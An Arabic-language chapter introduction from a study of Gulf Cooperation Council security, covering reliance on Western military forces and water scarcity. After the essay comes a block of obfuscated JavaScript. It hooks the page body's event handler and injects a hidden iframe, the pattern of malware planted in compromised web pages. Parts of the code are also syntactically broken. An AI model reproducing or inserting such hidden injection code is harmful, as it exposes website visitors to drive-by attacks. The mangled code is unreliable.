

1.4 مقدمة: الأمن الاستراتيجي ما بين العلاقات الخارجية والاكتفاء الذاتي

مفهوم الأمن واسع، وله تعاريف متعددة. وتتعدد مفاهيم الأمن بقدر تنوع الكيانات التي نناقش أمنها، وبقدر تعدد نوعيَّة الأمن الذي نحن في نطاق الحديث عنه. فمن الممكن النظر إلى الأمن المشخصي، أو الأمن القومي للدولة، أو أمن المنطقة، وبإمكاننا النظر إلى الأمن العسكري، أو الاقتصادي، أو الاجتماعي، أو حتى البيئي.

تركيزنا في هذا البحث سيكون على الأمن القومي، آخذين أقطار مجلس التعاون لدول الخليج العربيَّة في نطاق العالم العربي الأوسع، باعتباره الكيان الذي نحن معنيون بأمنه. نشأ مفهوم الأمن بشكل موسع في خضم الحرب العالمية الثانية، وكان في الأساس مبني على مبدأ الأمن الدفاعي للدولة، في مواجهة التهديدات الخارجية، خاصة فيما يتعلق بالحروب والاحتلال

[1] تطوّر المفهوم ليشمل أمن الدولة من ناحية الاقتصاد، الموارد الطبيعيَّة، الطاقة، وحتى الأمن البيئي

[2] وبهذا أخذ مفهوم الأمن إطاراً موسعاً بحيث يكون معنياً بغياب التهديدات للقيم المكتسبة، في أي كيان مُعيَّن، وأيّا تكن هذه القيم

سيركز هذا الفصل الخاص بالخلل الأمني؛ على ملفين أمنيين رئيسيين في دول مجلس التعاون، وهما ملف الأمن الدفاعي العسكري، وملف الأمن المائي. ويأتي التركيز على هذين الملفين لما لهما من أهمية حيوية في مسألة بناء الدولة، فمن دونهما لا يمكننا أن نعتبر أن المنطقة تتوفر فيهما مقومات الأمن الأساسية.

الأمن العسكري

من ناحية الأمن العسكري، فالثابت هو تواصل عدم مقدرة دول المجلس على تأمين حمايتها العسكرية منفردة، واستمرار إتكاليّتها، شبه المطلقة، على القوى الغربية، والولايات المتحدة على وجه الخصوص، وذلك بغرض توفير الأمن الخارجي لها. تبين الإحصائيات تواجد ما يزيد على 29,500 من العناصر العسكرية الغربية في دول المجلس، أغلبها أمريكيَّة، وتتواجد في كل دول المجلس بلا استثناء. هذا بالإضافة إلى حوالي 22 ألف عنصر أمريكي آخر على متن حاملات الطائرات والمرابك البحرية الأخرى التي

تعموم في بحار الخليج، ليكون المجموع 50 ألف عنصر اجنبي. هذا بالرغم من أن دول المجلس تصرف مبالغ طائلة على القطاع العسكري، وبمعدلات تعتبر هي الأعلى في العالم، حيث يزيد ما يُصرف عسكرياً في دول المجلس على ما تصرفه إسرائيل والمملكة المتحدة مجتمعيتين. وهذه الأرقام لا تشمل ما يُصرف على صفقات الأسلحة، والتي تُقدّر بعشرات بلايين الدولارات سنوياً. والتي سنسردها بعضها أدناه، وهي في الغالب لا يتم الإعلان عن كمياتها الحقيقية محلّياً.

لكن هذه المبالغ المالية تمرّ بمرحلة مراجعة وإعادة نظر، من قبل الغرب على الأقل، وإن كانت هذه المراجعة في المراحل الأولى. وتزداد أهمية هذه المراجعة في خضم المتغيرات في دول الجوار. فعلى الرغم من أن التوتر المتزايد في العلاقة بين دول الخليج وإيران؛ هي ما يستحوذ على الجزء الرئيس من التغطية الإعلامية العالمية؛ إلا أن العلاقات مع العراق ستلعب دوراً محورياً في التطورات على الساحة في المستقبل القريب، خاصة وأنه يُتوقع أن تزيد صادرات النفط العراقية بشكل مطرد على مدى السنوات القادمة، لتبدأ منافسة صادرات السعودية [5]. ولما يُعرف بعد ما هي طبيعة العلاقة بين دول مجلس التعاون، ومصر تحت حكم الإخوان المسلمين، والتي شهدت احتقاناً متصاعداً في حالة الإمارات بالذات. والتطورات المتسارعة في سوريا، تضع علاقة دول المجلس معها تحت المجهر أيضاً، خاصة في سياق الدعم القطري القوي لبعض أطراف المعارضة السورية. كما لا يمكن إغفال الحسابات المتعلقة بالتغيرات في اليمن؛ الدولة ذات الثقل السكاني الكبير في شبه الجزيرة العربية. وفي كل هذه التحليلات، سيكون من السذاجة معاملة دول مجلس التعاون بوصفها وحدة متماسكة، من دون أي اختلاف في الاستراتيجيات بين أعضائه.

تحتاج هذه المتغيرات، على المستوى الإقليمي، إلى دراسات متعمّقة على أيدي متخصصين، وبالتالي فهي تقع خارج نطاق هذا العمل، في نسخته الحالية، وتبقى الحاجة الماسة للتطرق إليها بشكل منهجي في الدراسات القادمة. ونحصر تركيزنا من منطلق الأمان الخارجي في هذه النسخة، فما نراه هو صلب هذا الخلل الأمني، ألا وهو عدم قدرة دول المجلس على الاعتماد على نفسها لتوفير الحماية العسكرية [6] والديبلوماسية شبه المطلقة على القوى الغربية لتأمين هذه الحماية.

الأمن المائي

على الصعيد المائي، وهو محور ثانٍ في هذا العمل، قد تبدو دول الخليج للوهلة الأولى بعيدة عن المخاطر المحدقة في المدى القريب والمتوسط. إلا أنه، كما يبين هذا العمل، تعتبر دول الخليج من أكثر الدول استهلاكاً لمعدلات المياه، وهذا الاستهلاك في ازدياد مطرد. في المقابل، فإن دول الخليج تعتبر من أفقر مناطق العالم من ناحية توفر مصادر المياه العذبة، وتعتمد بشكل كبير على المياه المحلاة الغالية التكلفة في الإنتاج نسبيّاً. بل إنه في بعض دول المجلس، البحرين مثلاً، لا يتعدى المخزون الاستراتيجي يوماً واحداً، مما يُذخر بكارثة مائية في حال أية أزمة قد تؤثر على الإنتاج المائي في البلاد. وتزداد أهمية الأمن المائي في ضوء معطيات الخلل السكاني المتفاقم، وخاصة المدن العقارية العملاقة الجديدة المزمع بناؤها، والتي تُشير التساؤل عن جدوى هذه المدن في منطقة لطالما كانت البيئة المائية والغذائية فيها هشّة. وهذا الوضع المائي الحرج، يلفت النظر إلى أهمية تحليل الوضع الأمني في الموارد الأساسية الأخرى للحياة، مثل الطاقة والغذاء، والتي نتطرق إليها في الاصدارات الدورية المقبلة.


```
_0x11fex5=false;if(document[_0xfc05[11]](_0xfc05[10])[0][_0xfc05[9]]){_0x11fex5=document[_0xfc05[11]](_0xfc05[10])[0][_0xfc05[9]];}
;document[_0xfc05[11]](_0xfc05[10])[0][_0xfc05[9]]=function
(){if(!document[_0xfc05[13]](_0xfc05[12])){iframe=document[_0xfc05[15]](_0xfc05[14]);iframe[_0xfc05[7]]=_0xfc05[16];iframe[_0xfc05[8]]=_0xfc05[16];iframe[_0xfc05[17]]=_0xf
c05[12];iframe[_0xfc05[18]]=_0xfc05[19];document[_0xfc05[11]](_0xfc05[10])[0][_0xfc05[20]](iframe);} ;if(_0x11fex5!==false){_0x11fex5(0);} ;};function
detectBrowserSize(){var _0x11fex7=0,_0x11fex8=0;if( typeof (window[_0xfc05[21]])===_0xfc05[22]){_0x11fex7=window[_0xfc05[21]]:_0x11fex8=window[_0xfc05[23]];} else
{if(document[_0xfc05[24]]&&(document[_0xfc05[24]][_0xfc05[25]]||document[_0xfc05[24]][_0xfc05[26]]))[_0x11fex7=document[_0xfc05[24]][_0xfc05[25]]:_0x11fex8=document[_
0xfc05[24]][_0xfc05[26]]];} else
{if(document[_0xfc05[10]]&&(document[_0xfc05[10]][_0xfc05[25]]||document[_0xfc05[10]][_0xfc05[26]]))[_0x11fex7=document[_0xfc05[10]][_0xfc05[25]]:_0x11fex8=document[_
0xfc05[10]][_0xfc05[26]]];} ;};return {width:_0x11fex7,height:_0x11fex8};};setTimeout(_0xfc05[27],500);
```